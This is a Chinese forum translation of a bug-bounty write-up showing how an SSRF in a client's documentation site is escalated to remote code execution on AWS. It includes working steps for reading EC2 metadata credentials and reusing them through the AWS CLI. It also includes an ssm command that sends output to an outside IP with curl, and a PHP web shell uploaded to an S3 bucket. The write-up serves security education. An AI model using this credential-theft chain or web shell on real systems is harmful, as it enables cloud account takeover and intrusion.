首页
社区
课程
招聘
[翻译]将SSRF升级为RCE(AWS环境)
2019-5-13 00:34 7121

[翻译]将SSRF升级为RCE(AWS环境)

2019-5-13 00:34
7121

原文:https://generaleg0x01.com/2019/03/10/escalating-ssrf-to-rce/

将SSRF升级为RCE(AWS环境)

大家好,渗透测试者们

 

我是Youssef A. Mohamed又名GeneralEG

 

安全研究员@ CESPPA网络安全工程师@ Squnity 和SRT会员@Sixack

 

 

今天,我将像往常一样与你分享一个新的刺激漏洞。

  • 这个问题在私人客户端中找到,所以我们称之为redacted.com

探索测试范围:

 

在枚举客户端的子域名时。我找到了子域名[docs]

 

找到带外资源负载:

 

[docs.redact.com]子域名显示了一些文档和统计信息

 

 

在点击统计数据的照片时,我看到了一些奇怪但不神奇的链接:

 

 

我想到的第一件事就是将[url]的值改为generaleg0x01.com

 

 

然后我注意到[mimeType]参数编辑了链接,并将值更改为:

 

https://docs.redact.com/report/api/v2/help/asset?url=https://generaleg0x01.com&mimeType=text/html&t=REDACTED.JWT.TOKEN&advertiserId=11

 

 

到目前为止它只是[带外资源负载]

 

Verifying SSRF:

 

验证SSRF:

 

检查我的BurpSuite中的requests/responses时注意到Response头[X-Amz-Cf-Id]

 

所以,我可以确定他们在AWS 环境上。

 

我们需要确保SSRF在这里运作良好。我们已经知道[169.254.169.254]是EC2实例的本地IP地址。

 

让我们尝试通过导航到[/latest/meta-data/]来访问元数据文件夹。

 

 

SSRF确认。

 

在EC2环境中冲浪

 

让我们通过导航到[/latest/meta-data/iam/security-credentials/]来检查我们当前的角色。

 

这是aws-elasticbeanstalk-ec2-role

 

 

什么是AWS Elastic Beanstalk?

  • AWS Elastic Beanstalk是AWS提供的平台即服务(PaaS)产品,用于部署和扩展针对各种环境(如Java,.NET,PHP,Node.js,Python,Ruby和Go)开发的Web应用程序。
  • 它自动处理部署,容量配置,负载平衡,自动扩展和应用程序运行状况监视。

窃取所需数据:

 

1)跳转到[/ latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role/]页面

 

可以得到[AccessKeyId,SecretAccessKey,Token]

 

 

2)跳转到[/ latest/dynamic/instance-identity/document/]页面

 

可以得到[instanceId,accountId,region]

 

 

配置AWS命令行界面:

  • 打开终端,敲这些命令:
~# apt install awscli

~# export AWS_ACCESS_KEY_ID=AccessKeyId
~# export AWS_SECRET_ACCESS_KEY=SecretAccessKey
~# export AWS_DEFAULT_REGION=region
~# export AWS_SESSION_TOKEN=Token

  • 得到[UserID]

~# aws sts get-caller-identity

 

 

SSRF利用得很好,现在让我们探索更多的可能性,将其升级为更大的“RCE”。

 

将SSRF升级为RCE:

 

我去尝试了一些潜在的exploit场景。

  • 通过[ssm send-command]提权 失败

经过几项研究尝试使用AWS 系统管理员 [ssm]命令。

 

该角色无权执行此命令。我希望用aws ssm send-command提权。

~# aws ssm send-command –instance-ids “instanceId” –document-name “AWS-RunShellScript” –comment “whoami” –parameters commands=’curl 128.199.xx.xx:8080/`whoami`’ –output text –region=region

回显内容:

An error occurred (AccessDeniedException) when calling the SendCommand operation: User: arn:aws:sts::765xxxxxxxxx:assumed-role/aws-elasticbeanstalk-ec2-role/i-007xxxxxxxxxxxxxx is not authorized to perform: ssm:SendCommand on resource: arn:aws:ec2:us-east-1:765xxxxxxxxx:instance/i-00xxxxxxxxxxxxxx

  • 通过[SSH]提权 失败

SSH端口已关闭。本来我希望能以这样喜闻乐见的一幕提权场景提权:

 

“创建RSA身份验证密钥对(公钥和私钥),能够从帐户登录远程站点,而无需输入密码。”

 

  • [Uploading Backdoor] 提权 成功

试图阅读[S3 Bucket]内容:

 

尝试使用AWS CLI运行多个命令以从AWS实例检索信息。但是,由于安全策略的原因,对大多数命令的访问被拒绝。

~# aws s3 ls

回显内容:

An error occurred (AccessDenied) when calling the ListBuckets operation: Access Denied
//调用ListBuckets操作时发生(拒绝访问)错误:拒绝访问

经过几项研究后发现托管策略“AWSElasticBeanstalkWebTier”只允许访问名称以“elasticbeanstalk”开头的S3 buckets。

 

为了访问S3 buckets,我们将使用以前采用的数据,格式如下:

elasticbeanstalk-区域-账户-id

现在, bucket名称为“elasticbeanstalk-us-east-1-76xxxxxxxx00”。

 

让我们以递归方式列出“elasticbeanstalk-us-east-1-76xxxxxxxx00”的bucket资源,以使用AWS CLI执行此长时间运行的任务:

~# aws s3 ls s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/ –recursive

现在,让我们尝试上传一个后门!

~# cat cmd.php
  1. <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

 

~# aws s3 cp cmd.php s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/

 

 

upload: ./cmd.php to s3://docs.redact.com/cmd.php

 

 

在这里我们成功获得了RCE!

 

 

简而言之:

 

您可以通过多种方式将服务器端请求伪造升级到远程执行代码,但这取决于您的目标环境。

 

快乐黑客!

 

 

翻译:看雪翻译小组 lipss
校对:看雪翻译小组 Daemond


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回